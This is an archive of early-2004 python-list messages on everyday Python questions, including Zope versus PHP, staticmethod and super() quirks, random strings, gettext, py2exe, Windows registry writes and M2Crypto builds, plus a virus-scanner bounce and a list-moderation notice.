Message-ID: <qnkr7xdceyv.fsf@arbutus.physics.mcmaster.ca>

At some point, "Batista, Facundo" <FBatista at uniFON.com.ar> wrote:

> danb_83 wrote: 
>
> #- On the other hand, when I say that I am 1.80 m tall, it doesn't imply
> #- that humans height comes in discrete packets of 0.01 m.  It 
> #- means that
> #- I'm *somewhere* between 1.795 and 1.805 m tall, depending on my
> #- posture and the time of day, and "1.80" is just a convenient
> #- approximation.  And it wouldn't be inaccurate to express my height as
> #- 0x1.CC (=1.796875) or (base 12) 1.97 (=1.7986111...) meters, because
> #- these are within the tolerance of the measurement.  So number base
> #- doesn't matter here.
>
> Are you saying that it's ok to store your number imprecisely because you
> don't take well measures?

What we need for this is an interval type. 1.80 m shouldn't be stored
as '1.80', but as '1.80 +/- 0.005', and operations such as addition
and multiplication should propogate the intervals.

How to do that is another question: for addition, do you add the
magnitudes of the intervals, or use the square root of the sums of the
squares, or something else? It greatly depends on what _type_ of error
0.005 measures (is it the width of a Gaussian distribution? a uniform
distribution? something skewed that's not representable by one
number?).

My 0.0438126 Argentina pesos [1]

[1] $0.02 Canadian, which hilights the other problem with any
representation of a number without units -- decimal or otherwise.

-- 
|>|\/|<
/--------------------------------------------------------------------------\
|David M. Cooke
|cookedm(at)physics(dot)mcmaster(dot)ca


From trendmicro at wuest.de  Wed Feb  4 12:37:11 2004
From: trendmicro at wuest.de (trendmicro at wuest.de)
Date: Wed, 04 Feb 2004 18:37:11 +0100
Subject: Virus Alert
Message-ID: <20040204173711.AB0C1359CD@obelix.wuest.de>

The mail message (file: file.zip) you sent to joe at wuest.de contains a virus. (on obelix)



From kosh at aesaeion.com  Fri Feb 27 23:53:14 2004
From: kosh at aesaeion.com (kosh)
Date: Fri, 27 Feb 2004 21:53:14 -0700
Subject: Python as replacement for PHP?
In-Reply-To: <403fa54b@news.zianet.com>
References: <403fa54b@news.zianet.com>
Message-ID: <200402272153.14878.kosh@aesaeion.com>

On Friday 27 February 2004 01:50 pm, Erik Johnson wrote:
> This is somewhat a NEWBIE question...
>
>
>     So, I'm hoping there are some people out there that actually have some
> expereience with both Python & PHP and can give me some solid, informed
> advice about PHP vs. Python, in general and particularly on the following
> points: (NOT Python evangelism please: I've already heard most of it, I've
> espoused a pretty good dose myself - frankly, I'm willing to buy most of
> it, but I've got a serious business decision to make here).

Overall my company webme-eng.com has been doing websites/webapps for about 3 
years now using zope and we are very happy with it. It has been a very 
productive environment to work in and we have worked a lot on frameworks to 
make writing our stuff faster. Usually we can do in 1 week what most of our 
competitors take about 3 months to do.

>
>     1) PHP seems to have a pretty good integration/driver with PostgreSQL.
> If we were to switch to Python, what modules/drivers are available to talk
> to PosgreSQL and is it as functional as PHP's support?
>

I know there is postgres support in python however with zope we have worked 
pretty much exclusively with the ZODB which is an object database used in 
zope. It has worked well even for sites that have about 2GB of data.

>     3) Does Python have an analog to strtotime()? (For those not familiar
> with that function, it converts a wide range of date formats as string into
> time_t value. Can handle things like "now", "+24 hours", "-3 days",
> "yesterday 06:00PM MST", "January 23, 2004", "2004-02-26 18:00:00 -07",
> etc.)

Zope has a equiv to that that I think does just about all of those if not all 
I have not tested all of them and it is part of the standard DateTime object 
that is has so it is used pretty much everywhere.

>
>     4) I am vaguely aware of Apache's modpython. We are currently running
> apache, but I'm real green when it comes to configuring/running/managing
> Apache. I don't really understand what all modpython does for me. Generally
> allows Apache to foist off an HTTP request on a Python script to handle I
> assume, but maybe some kind soul can better inform me about what all
> modpython really does for me?

From what I understand mod_python just gets rid of the startup time for each 
request. Overall I prefer to have apache proxy for an app server like zope 
you might also want to look at twisted.

>
>     5) A PHP script can freely jump in and out of static HTML and script
> code with <?php ?>  tags. This is sometimes handy. Can you do the same
> thing with Python?

There are ways to do stuff like that in zope pretty easily. It allows you to 
mix in python and your code if you want but it also makes it pretty trivial 
to make the items a seperate script object and call that. 

>
>     6) Debugging: I'm aware there is a debugger for Python - I haven't
> really used it. Maybe there is a better way to do this using PHP, but right
> now when a PHP script isn't working right, I'm reduced to print statements
> and just re-running the script. Do you know a better way to do this in PHP?
> If I were doing things in Python, is there an easy way to generate an HTTP
> request from my browser, but stop the generating script and analyze it in a
> Python debugger?

Zope also logs all errors to an object called error_log in the root of the 
site which has the full python traceback and the entire contents of the web 
request that generated it. I find that a very useful feature for debugging. 
You can also attach a regular python debugger to zope and twisted (iirc).

>
>     7) This goes back to #2, but we are looking at purchasing a PHP
> graphing package:  http://www.aditus.nu/jpgraph/  If we could easily call
> PHP from within Python, then I guess that is a no brainer: we can use the
> PHP package. If not, then we are left answering the quesiton, can we call
> it as a forked process, and if so, is that too expensive? Do you know of
> comparable packages for Python?

There are many graphing packages for python designed for many kinds of work. 
It should be pretty easy to find one that suits your purpose and use that.

>
>
>     I think that's it for now. Thank you for taking the time to read my
> post and many thanks in advance to anyone who would be so kind as to reply.
> (direct response to ej at wellkeeper dot com greatly appreciated).
>
> -ej

Overall many people consider zope overkill for most web problems and they are 
probably right. It is a huge complex beast but it is also very good at 
solving large problems. It has a very flexible security model built into it, 
your code runs inside a sandbox unless specifically exempted, there are a lot 
of products designed to work with it and a lot of information on using it.

I have no problem recommending zope over php and from what I have read of the 
twisted docs for woven I would recommend that over php also. Since python is 
not designed as a "web" language I find that overall it has been pretty easy 
to build larger solutions since a website is pretty much just a regular app 
with an html front end and you can use all the wide ranging features that 
python offers such as simpler to read code which makes maintainence easier.
You also gain access to the large library of code available in the form of 
stuff like the python imaging library, reportlab, numpy etc. 



From fuf at mageo.cz  Wed Feb 11 05:21:53 2004
From: fuf at mageo.cz (Michal Vitecek)
Date: Wed, 11 Feb 2004 11:21:53 +0100
Subject: error: 'staticmethod' object is not callable
Message-ID: <20040211102153.GA3386@foof.i3.cz>

 hello everyone,

 today i've come upon a strange exception, consider the following file
 test.py:

--- beginning of test.py ---

class A(object):
    def method1(parA):
        print "in A.method1()"
    method1 = staticmethod(method1)

    def method2(parA, parB):
        print "in A.method2()"
    method1 = staticmethod(method1)
    # see (*)
    
A.method1("some value")

--- end of test.py ---

 when test.py is run, the following error is printed:

$ python test.py
Traceback (most recent call last):
  File "test.py", line 10, in ?
    A.method1("some value")
TypeError: 'staticmethod' object is not callable
$

 isn't this a bug somewhere in python? this was tested on 2.2.3.

 (*) this happened accidentaly by copy & paste error


        thank you,
-- 
		fuf		(fuf at mageo.cz)



From exarkun at intarweb.us  Wed Feb  4 16:46:11 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Wed, 4 Feb 2004 16:46:11 -0500
Subject: Newbie -- bitwise shifts
In-Reply-To: <de91eac3.0402041324.1c5e911f@posting.google.com>
References: <de91eac3.0402041324.1c5e911f@posting.google.com>
Message-ID: <20040204214611.GA19297@intarweb.us>

On Wed, Feb 04, 2004 at 01:24:00PM -0800, gbblob wrote:
> Can someone please explain to me why left shits are equivalent to
> multiplication and right shifts equivalent to devision?  This seems
> backwards to me.
> 
> e.g.
> 
> 15 is binary 1111
> if I shift this left 2 bits I get 11
> 
> however in Python 15<<2 = 60 ?!

    >>> from binary import binary
    >>> binary(15)
    '1111'
    >>> binary(15<<2)
    '111100'
    >>> binary(15>>2)
    '11'

  Jp




From tjreedy at udel.edu  Wed Feb 25 11:20:42 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Wed, 25 Feb 2004 11:20:42 -0500
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com><Xns9499854B482AEduncanrcpcouk@127.0.0.1><15c2d03b.0402241237.708cb4e8@posting.google.com><qnk4qtgt7j9.fsf@arbutus.physics.mcmaster.ca>
	<15c2d03b.0402250123.151f06db@posting.google.com>
Message-ID: <c1ii0r$uke$1@sea.gmane.org>


"Marco Aschwanden" <PPNTWIMBXFFC at spammotel.com> wrote in message
news:15c2d03b.0402250123.151f06db at posting.google.com...
> cookedm+news at physics.mcmaster.ca (David M. Cooke) wrote in message
news:<qnk4qtgt7j9.fsf at arbutus.physics.mcmaster.ca>...
> >>> tup = (3, 4, 20.0101)
> >>> stringified = str(tup)
> >>> stringified
> '(3, 4, 20.010100000000001)'  # 8o)
> What is not unique about this string?
> Okay, I can think of cases where this approach is problematic -
> foremost when sorting is involved.

Mike pointed out the problem of making sure that different things get
different strings.  For dict keys, there is also the problem of making sure
that 'different' things that hash equal and which have the same value as a
key get the same string, and you cannot do that without inventing a new
*non-invertible* stringify function.  In particular, numbers are hashed by
value, with 0 == 0L == 0.0 => hash(0) == hash(0L) == hash(0.0), whereas
these would give three different strings with either str() or repr().
Example:

>>> d={1:'one'}
>>> d[1.0]
'one'

So, you make newstr((1,2)) == newstr((1.0,2L)).  Which means you must
eliminate the number type information and make newstr *not* invertible!  Or
you could change the dict key rules;=).

Terry J. Reedy







From http  Thu Feb 19 20:05:22 2004
From: http (Paul Rubin)
Date: 19 Feb 2004 17:05:22 -0800
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
Message-ID: <7xsmh6a7cd.fsf@ruckus.brouhaha.com>

Andreas Lobinger <andreas.lobinger at netsurf.de> writes:
> How to generate (memory and time)-efficient a string containing
> random characters? I have never worked with generators, so my solution 
> at the moment is:

What do you want to do with the random characters, and what OS are you
running on?

> import string
> import random

If you're using the random characters for some security-related purpose,
you shouldn't use the random module.

If you're running Linux or *BSD, the simplest way to get good quality
random characters is something like

   s = open("/dev/urandom").read(3000)

or however many characters you want.  For Windows, it's harder.

> random.seed(14)
> d = [random.choice(string.letters) for x in xrange(3000)]
> s = "".join(d)
> print s

> which is feasible for the 3000, but i need lengths in the range 
> 10.000 to 1.000.000.

Try something like:

import array
from random import randint
d = array.array('B')
for i in xrange(1000000):
  d.append(randint(0,255))
s = d.tostring()


From fumanchu at amor.org  Wed Feb  4 14:17:51 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 4 Feb 2004 11:17:51 -0800
Subject: counting references to an instance
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561CE3@opus.amorhq.net>

Brian wrote:
> Is it possible to get an object to return the number of 
> references there
> are to itself?

Try sys.getrefcount. From the Library Reference:

getrefcount(object)

Return the reference count of the object. The count returned is
generally one higher than you might expect, because it includes the
(temporary) reference as an argument to getrefcount().


HTH

FuManChu



From miki.tebeka at zoran.com  Mon Feb 16 01:26:40 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 15 Feb 2004 22:26:40 -0800
Subject: Viewing Directories as tree
References: <402ED475.6030601@prescod.net>
	<mailman.37.1076876228.31398.python-list@python.org>
Message-ID: <4f0a9fdb.0402152226.28b741aa@posting.google.com>

Hello Jalil,

> I am looking for some python code that I can plug-into my web 
> application to display file system heirarchies
> using a tree structure. I have seem some  libraries that do this but 
> only as a standalone application.
> 
> Is there anything that can be used in a browser?
If your browser supports XML (such as IE, Mozilla ...) you can output
the directory tree to an XML file and show it.
It can be made prettier with XSL but I didn't work with XSL so I can't
tell you how.

HTH.
Miki


From theller at python.net  Mon Feb 16 04:07:58 2004
From: theller at python.net (Thomas Heller)
Date: Mon, 16 Feb 2004 10:07:58 +0100
Subject: Py2exe... & hiding propritary stuff in the exe
References: <yToXb.39409$Bb.328706@twister.tampabay.rr.com>
Message-ID: <k72ne6j5.fsf@python.net>

"Will" <wstandley at netpv.com> writes:

> Maybe there is another group for posting this... I am a total newbie to
> Python... so please forgive me if I ask a bunch of inappropriate
> questions... as I am a big question asker.
>
> If I develope an application in Python and use the Py2exe (hope I have that
> right) tool... can I embed certain files... like graphic files... and even
> video files... into the exe... so that they reside there, during
> execution... as opposed to uncompressing into seperate files upon
> installation.
>
> For example, if I have a propritary graphic/slide and/or short propritary
> video that I don't want to be a 'standalone' file... like a jpg or mov or
> whatever... as I don't want people to be able to re-distribute the proteray
> graphic/movie files w/o my application... will Py2exe or some other tool or
> method bury those some way... like keeping them as data in the exe file?

py2exe allows to include data files as windows resources in the exe
file.  Another thing you may be interested in is Mike Fletcher's
resourcepackage:

http://resourcepackage.sourceforge.net/

Thomas


From bignose-hates-spam at and-benfinney-does-too.id.au  Mon Feb  9 23:17:19 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 10 Feb 2004 15:07:19 +1050
Subject: Tix on Windows
References: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
	<c07bdn$cqg$05$1@news.t-online.com>
	<c09kqq$bju$1@news.service.uci.edu>
Message-ID: <slrnc2gnvv.14l.bignose-hates-spam@rose.localdomain.fake>

On Mon, 09 Feb 2004 19:54:51 -0800, Josiah Carlson wrote:
>> If all goes well, Python 3.4 will ship with Tix.
>
> One would hope you mean 2.3, and not the currently mythical post-3.0
> series.  ;)

Python 2.3 has already released ("shipped").  Tix wasn't in it.

My own guess is that the intended meaning is "Python 2.4".

-- 
 \       "If you make people think they're thinking, they'll love you; |
  `\         but if you really make them think, they'll hate you."  -- |
_o__)                                                        Anonymous |
Ben Finney <http://bignose.squidly.org/>


From bignose-hates-spam at and-benfinney-does-too.id.au  Tue Feb  3 22:38:49 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 4 Feb 2004 14:28:49 +1050
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
	<slrnc20pe9.5dk.bignose-hates-spam@iris.polar.local>
	<1020q1dq34lt260@corp.supernews.com>
Message-ID: <slrnc20rfp.5dk.bignose-hates-spam@iris.polar.local>

On Tue, 3 Feb 2004 18:34:02 -0900, niekko wrote:

(corrected your top-posting; please don't do it.)

> Ben Finney wrote:
>> On Tue, 3 Feb 2004 17:57:16 -0900, niekko wrote:
>> > I wrote a program for a class and now have to make a gui for it.
>> Possibly the course material?  I'd expect that your assignment is to
>> employ the methods that have been taught to you.
>
> That's just it, the course material is "go out and find it on the
> 'net."  I've got several books on Python and none of them help will
> building this gui.

Sounds like a bit of a cop-out (on the part of your school); there are
many ways to build a GUI for Python applications.

> Can someone get me started, at least??

Python has, for a long time, come with the Tkinter module, allowing you
to build GUIs with the cross-platform Tk toolkit.

    <http://www.python.org/topics/tkinter/>

However, Tk widgets are fairly ugly and primitive; a very popular
alternative is wxPython, which uses to the cross-platform wxWindows
toolkit.

    <http://www.wxpython.org/>

-- 
 \     "No wonder I'm all confused; one of my parents was a woman, the |
  `\                          other was a man."  -- Ashleigh Brilliant |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From martin at v.loewis.de  Fri Feb  6 01:54:18 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 06 Feb 2004 07:54:18 +0100
Subject: internationalisation/gettext - any sample (.MO) data available ?
In-Reply-To: <282f826a.0402050231.6bb16bcc@posting.google.com>
References: <282f826a.0402021907.2266c6b4@posting.google.com>
	<bvopcd$kt1$01$1@news.t-online.com>
	<282f826a.0402050231.6bb16bcc@posting.google.com>
Message-ID: <bvvdmj$vfh$06$1@news.t-online.com>

Richard Shea wrote:
> I also wanted to double-check a couple of things. I've got my a.py in
> one directory and the python installation in another (that's just the
> way I do stuff on this machine) when you said ...

As a starting point, you should make sure it really finds the .mo file.
The example is constructed so that the directory containing a.py must
be the current directory.

On Unix, you can use strace to find out where it looks for the .mo file,
or you can add print messages to gettext.py.

> ... I presumed that was relative to a.py not the python interpreter ?
> Is that correct ? That is if I have C:\richardspythonsrc\a.py I should
> have C:\richardspythonsrc\de\LC_MESSAGES\demoapp.mo ?

Correct.

> Also I'm working on a WIN32 machine so to achieve ...
> 
>>Set the LANG environment variable to de_DE.ISO-8859-1, and
>>invoke
> 
> 
> ... I put ...
> 
> import locale
> locale.setlocale(locale.LC_ALL, 'german')
> 
> ... up at the top of a.py - is that what you would advise ?

No. Set the LANG environment variable, using the SET command
of cmd.exe, or changing Properties of My Computer.

There are other ways to programmatically specify the desired
language, but invoking setlocale is none of them.

Regards,
Martin



From theller at python.net  Tue Feb 17 02:46:26 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 17 Feb 2004 08:46:26 +0100
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
	<87y8r2l73x.fsf@hydra.localdomain>
Message-ID: <4qtqi1wt.fsf@python.net>

kbk at shore.net (Kurt B. Kaiser) writes:

> kent at cpttm.org.mo (Kent Tong) writes:
>
>> I've installed Python 2.3 using the Windows installer downloaded
>> from www.python.org. I'm using Win98. The installation process went
>> well without any problem.  However, double-clicking the "IDLE
>> (Python GUI)" does nothing. The cursor changes to a hour-glass for
>> about 1 second and then nothing happens. The "Python (command line)"
>> works.
>
> The current Python CVS has improvements which make it easier to track
> down problems when IDLE is having trouble setting itself up.  One
> improvement is to have Tk post a dialog describing the error, another
> is better error messages.  (These changes were also added to the
> IDLEfork CVS.)

It is getting off-topic, but I still believe that pythonw.exe should be
improved to show errors in a console window which opens as soon as the
first output is written to sys.stderr (and sys.stdout also, maybe).

There is no chance otherwise to complain that tcl/tk can not be found,
for example.

And that reminds me: we had the case that a Ruby installation, which
sets some tcl/tk enviroment variables.  Removing the Ruby installation
did help in that case.

Thomas


From williamichang at hotmail.com  Wed Feb 11 02:12:31 2004
From: williamichang at hotmail.com (William Chang)
Date: Tue, 10 Feb 2004 23:12:31 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
Message-ID: <zeWdnXYoFaHsSbTd4p2dnA@comcast.com>

Thank you all for the discussion!  Some additional information:

One of the intended uses is indeed a next-gen web spider.  I did the
math, and yes I will need about 10 cutting-edge PCs to spider like
you-know-who.  But I shouldn't need 100 -- and would rather not
spend money unnecessarily...  Throughput per PC would be on
the order of 1MB/s assuming 200x5KB downloads/sec using 1-2000
simultaneous connections.  (That's 17M pages per day per PC.)
My search & content engine can index and store at such a rate,
but can the spider initiate (at least) 200 new requests per second,
assuming each request lasts 5-10 seconds?

Of course, that assumes the spider algorithm/coordinator is pretty
intelligent and well-engineered.  And the hardware stay up, etc.
Managing storage is certainly nontrivial; at such a scale nothing is
to be taken for granted!

Nevertheless, it shouldn't cost millions.  Maybe $100K :-)

Time for a sanity check?  --William






From ipellew at pipemedia.co.uk  Fri Feb 20 07:51:54 2004
From: ipellew at pipemedia.co.uk (Ian Pellew)
Date: 20 Feb 2004 04:51:54 -0800
Subject: `If ` Q from newbie
Message-ID: <30875970.0402200451.2c1b0d31@posting.google.com>

Hi all;

As my starter into Python I have a small project using pullparser.py

My problem is testing what is coming back from a def() in
pullparser.py
I bet this is me not understanding something in Python.

I do

..
tk = p.get_token()
print tk




and get:-
1  Token('data', '\n \n\n', None)
2  Token('comment', '#include virtual="/software/main/inc/warning.inc"
', None)
3  Token('data', '\n\n', None)
4  Token('startendtag', 'meta', [('name', 'DC.Rights'), ('content',
'Copyright (c) 2004 by IBM Corporation')])
5  Token('data', '\n', None)
6  Token('startendtag', 'meta', [('name', 'Security'), ('content',
'Public')])
7  Token('data', '\n', None)
8  Token('startendtag', 'meta', [('name', 'Robots'), ('content',
'index,follow')])
9  Token('data', '\n', None)
    Etc.

I wanna 
"if (tk????? is None): continue"

More generally, how do I know what is being returned from a def()? 

Pointers/Advice pls.

Regards
Ian


From tim.golden at viacom-outdoor.co.uk  Mon Feb  9 05:01:57 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 9 Feb 2004 10:01:57 -0000 
Subject: ANNOUNCE: Build 200 of the pywin32 extensions (win32all) avai
	lable
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E44346E8@tdi_nt9.internal.viacom-outdoor.co.uk>

MH>From: Mark Hammond [mailto:mhammond at skippinet.com.au]
MH>   I have released a new version of the win32all extensions.

MH>The change-log and downloads are available via the project's 
MH>SourceForge page

First and foremost, thank you as always for keeping these
extensions going. I've been working on some win32 security
stuff lately, trying to create a higher-level Python wrapper
for the (byzantine) Win32 security API. 

I couldn't see an obvious CHANGELOG in the binary or source 
distributions. Am I missing something? I did see the release
notes on the sf.net download page, but they were quite high-
level; I was hoping to see *what* had been added / changed
in win32security, and elsewhere.

TJG

________________________________________________________________________
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From jzgoda at gazeta.usun.pl  Wed Feb  4 16:36:11 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Wed, 4 Feb 2004 21:36:11 +0000 (UTC)
Subject: configuring ODBC DSN with a python script
References: <d3be1825.0402041109.4ee4a88d@posting.google.com>
Message-ID: <bvroka$4tv$5@nemesis.news.tpi.pl>

Jani Yusef <jani at persian.com> pisze:

> I am building an application which, unfortunately, *must* use an
> access db. The users will have the relevane mdb file installed on
> their system. As part of the installer. Now, the part I am stuck on is
> how do I configure the ODBC dsn without having the user open up the
> ODBC control panel which will in all honestly just scare and confuse
> them. ;)

Use ADO -- the connection structure is much more straightforward.

-- 
Jarek Zgoda
Unregistered Linux User #-1
http://www.zgoda.biz/ JID:zgoda-a-chrome.pl http://zgoda.jogger.pl/


From pat_blair at prn.com  Fri Feb  6 13:09:52 2004
From: pat_blair at prn.com (Pat Blair)
Date: Fri, 6 Feb 2004 10:09:52 -0800
Subject: Writing to REG_MULTI_SZ windows registry keys
Message-ID: <93F1336E37BAD211B06F0090273F77320857D82F@MAIL>

Hello.  I'm looking for any information I can get about writing values to
keys in the Windows registry when the value type is a multi-string (ie.
REG_MULTI_SZ).  When I get the value of a multi-string value using winreg
functions, I get a tuple with tuple[0] being a list, and tuple[1] a number.
If I try to write such a tuple back into a multi-string value, I get the
following exception:

 

ValueError: Could not convert the data to the specified type.

 

I haven't been able to find any documents, postings, etc. that deal with
this specifically.  My test code is listed below.  If any tips can be
offered, they will be much appreciated!

 

from _winreg import *

import sys

 

 

#get the current value of the PendingFileRenameOperations key

def getCurrentValue():

    aReg = ConnectRegistry(

        None,

        HKEY_LOCAL_MACHINE)

    aKey = OpenKey(aReg, r"SYSTEM\CurrentControlSet\Control\Session
Manager")

    value = QueryValueEx(aKey, "PendingFileRenameOperations")

    CloseKey(aKey)

    return value

 

#set the value of a test REG_MULTI_SZ key (this key already exists")

def setNewValue(value):

    aReg = ConnectRegistry(

        None,

        HKEY_LOCAL_MACHINE)

    aKey = OpenKey(aReg, r"SOFTWARE\PRN_TEST", 0, KEY_WRITE)

    SetValueEx(

        aKey,

        "PendingFileRenameOperations",

        0,

        REG_MULTI_SZ,

        value

    )

    CloseKey(aKey)

    

 

#the name of some file I want to add to the list

renamedTarget = r"C:\some_file_i_want_to_delete.txt"

 

tuple = getCurrentValue()

print tuple

list = tuple[0]

list.append(unicode(renamedTarget))

newtuple = (list, tuple[1])

 

setNewValue(tuple)

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From bart_nessux at hotmail.com  Mon Feb 23 13:50:31 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 23 Feb 2004 13:50:31 -0500
Subject: still trying to pass strings to the OS
In-Reply-To: <c1dboe$k3r$00$1@news.t-online.com>
References: <c1d5eg$gij$1@solaris.cc.vt.edu>
	<c1dboe$k3r$00$1@news.t-online.com>
Message-ID: <403A4B77.4090703@hotmail.com>

Diez B. Roggisch wrote:
> Read this:
> 
> http://pexpect.sourceforge.net/#faq
> 
> Then you most probably want to use it :)
> 

Thank you. That's exactly what I need.



From newsgroups at jhrothjr.com  Mon Feb  9 16:56:41 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Mon, 9 Feb 2004 16:56:41 -0500
Subject: converting base class instance to derived class instance
References: <930ba99a.0401200413.5fae6fb9@posting.google.com><100qm0soklj3439@news.supernews.com>
	<mailman.1372.1076344361.12720.python-list@python.org>
Message-ID: <102g0l3aot90b73@news.supernews.com>


"Fran?ois Pinard" <pinard at iro.umontreal.ca> wrote in message
news:mailman.1372.1076344361.12720.python-list at python.org...

>>> o.__class__ = C
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: __class__ assignment: only for heap types


By the way, what is a "heap type"?


I think they're refering to objects that are allocated
on the heap. I'm not sure what attempting to
instantiate object would do, but I suspect the result
would be a built-in that can't be modified.

John Roth
>>>


-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From ngps at netmemetic.com  Tue Feb  3 20:25:37 2004
From: ngps at netmemetic.com (Ng Pheng Siong)
Date: 4 Feb 2004 01:25:37 GMT
Subject: SWIG related: Error after installing m2crypto undefined symbol:
 EVP_rc5_32_12_16_ofb
References: <3222fe00.0402031441.6dc93896@posting.google.com>
	<4020270a$0$316$e4fe514c@news.xs4all.nl>
Message-ID: <bvphmh$gj8$1@mawar.singnet.com.sg>

According to Irmen de Jong  <irmen at -NOSPAM-REMOVETHIS-xs4all.nl>:
> Sean wrote:
> > ImportError: /usr/lib/python2.2/site-packages/M2Crypto/__m2crypto.so:
> > undefined symbol: EVP_rc5_32_12_16_ofb
> 
> The FAQ:  http://sandbox.rulemaker.net/ngps/m2/faq.html

I should update the FAQ. The file CHANGES in the most recent release, 0.12,
says:

 Changes since 0.11
--------------------
- Excluded RC5. IDEA was taken out several releases ago. This should 
  allow M2Crypto to build with stock OpenSSL on various Linuxen.

Of course if you have an earlier release - you appear to have 0.11 - the
file CHANGES does not contain the above. Duh! ;-)

What to do... what to do...


-- 
Ng Pheng Siong <ngps at netmemetic.com> 

http://firewall.rulemaker.net -+- Firewall Change Management & Version Control
http://sandbox.rulemaker.net/ngps -+- Open Source Python Crypto & SSL


From gpul-traduccion-bounces at ceu.fi.udc.es  Wed Feb 25 00:19:31 2004
From: gpul-traduccion-bounces at ceu.fi.udc.es (gpul-traduccion-bounces at ceu.fi.udc.es)
Date: Wed, 25 Feb 2004 06:19:31 +0100
Subject: Your message to gpul-traduccion awaits moderator approval
Message-ID: <mailman.15658.1077686371.276.gpul-traduccion@ceu.fi.udc.es>

Your mail to 'gpul-traduccion' with the subject

    

Is being held until the list moderator can review it for approval.

The reason it is being held:

    SpamAssassin identified this message as possible spam

Either the message will get posted to the list, or you will receive
notification of the moderator's decision.  If you would like to cancel
this posting, please visit the following URL:

    http://ceu.fi.udc.es/cgi-bin/mailman/confirm/gpul-traduccion/1c1e4b1af42dcd1c0f49c70c6b0c5c4c4e6a5cbc




From merkosh at hadiko.de  Fri Feb  6 16:24:03 2004
From: merkosh at hadiko.de (Uwe Mayer)
Date: Fri, 06 Feb 2004 22:24:03 +0100
Subject: advice on programming style: is multiple inheritance bad?
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<401d5562$0$318$e4fe514c@news.xs4all.nl>
	<bvmmn5$t5a$1@news.rz.uni-karlsruhe.de>
	<m3oesgbhpo.fsf@pc150.maths.bris.ac.uk>
	<bvocsf$402$1@news.rz.uni-karlsruhe.de>
	<m3oesdaew0.fsf@pc150.maths.bris.ac.uk>
Message-ID: <c010lj$c8g$1@news.rz.uni-karlsruhe.de>

Hi,

Michael Hudson wrote:
>> >> BTW: when doing m.i. you can't mix new-style and old-style objects, or
>> >> else Python exits with a Segmentation Fault. :)
>> > 
>> > Uhh, really?  Example please.
>> 
>> Seems only to occur in connection with Qt. :(
> 
> Ah, good, not a problem I can fix <wink>.
> 
>> Code as the one below, inheriting from some Qt Widget and using
>> m.i. with new-style classes cause a Segmentation Fault on my
>> machine:
> 
> Weird.  I take it you've reported this to the PyQT folks?

After you said, I did. I just received response that this was already fixed
in the CVS snapshot 20040202 :).

I also reported a bug in pyuic, which left out a "self." in front of a
toolbar object when you GUI had a spacer object in the toolbar.
That's however still a problem.

Ciao
Uwe


From clarence at netlojix.net  Tue Feb 17 13:59:19 2004
From: clarence at netlojix.net (Clarence Gardner)
Date: Tue, 17 Feb 2004 10:59:19 -0800
Subject: super() not a panacea?
Message-ID: <pan.2004.02.17.18.59.19.712556@netlojix.net>


The super object is considered a solution to the "diamond problem".
However, it generally requires that the ultimate base class know that it
is last in the method resolution order, and hence it should not itself
use super (as well as supplying the ultimate implementation of an
overridden method.)

However, a problem comes up if that ultimate base class is also the base
class for another which inherits from it and another independent base
class also providing that method. This results in a situation where the
first base class is now required to use super in order to propogate the
call chain over to the new classes, in the case of the object being an
instance of the newly-added subclass, but still must not use super in
the case of the object being an instance of the original (bottom of
diamond) class.

So, are we asking too much of super? Is there any resolution to this
problem? The only one we can see is that a super object somehow effect a
no-op when the search for a method ends with the "object" class (and
"object", of course, doesn't implement the sought method). This seems
yucky, though.


print '    ',r'''Typical diamond using super.
  A
 / \
B   C
 \ /
  D
'''

class A(object):
    def m(self):
        print '   A'

class B(A):
    def m(self):
        super(B, self).m()
        print '   B'

class C(A):
    def m(self):
        super(C, self).m()
        print '   C'

class D(B,C):
    def m(self):
        super(D, self).m()
        print '   D'

print '''create D instance and call m'''

D().m()

print r'''A C B D, looks good.  Now introduce classes Z & X
    A      Z
   /|\    /
  / | \  /
 /  |  \/
B   C   X
 \ /
  D
'''

class Z(object):
    def m(self):
        print '   Z'

class X(A, Z):
    def m(self):
        super(X, self).m()
        print '   X'

print '''create X instance and call m'''

X().m()

print '''"A X", Oh-oh, that is not right.  Z.m was not called.
That is because A is not calling super.
Change class A to call super.'''

class A(object):
    def m(self):
        super(A, self).m()
        print '   A'

class B(A):
    def m(self):
        super(B, self).m()
        print '   B'

class C(A):
    def m(self):
        super(C, self).m()
        print '   C'

class D(B,C):
    def m(self):
        super(D, self).m()
        print '   D'

class Z(object):
    def m(self):
        print '   Z'

class X(A, Z):
    def m(self):
        super(X, self).m()
        print '   X'

X().m()

print '"Z A X", That is much better.'
print 'Now, make sure D still works as before.'

try:
    D().m()
except AttributeError, e:
    print '   Error:', e
    print '    ',"super object has no attribute 'm'!, now what?"




From jcarlson at nospam.uci.edu  Thu Feb 19 01:42:33 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 18 Feb 2004 22:42:33 -0800
Subject: GUI application death catcher?
In-Reply-To: <lcisi4ezli.fsf@gaffa.mit.edu>
References: <lcisi4ezli.fsf@gaffa.mit.edu>
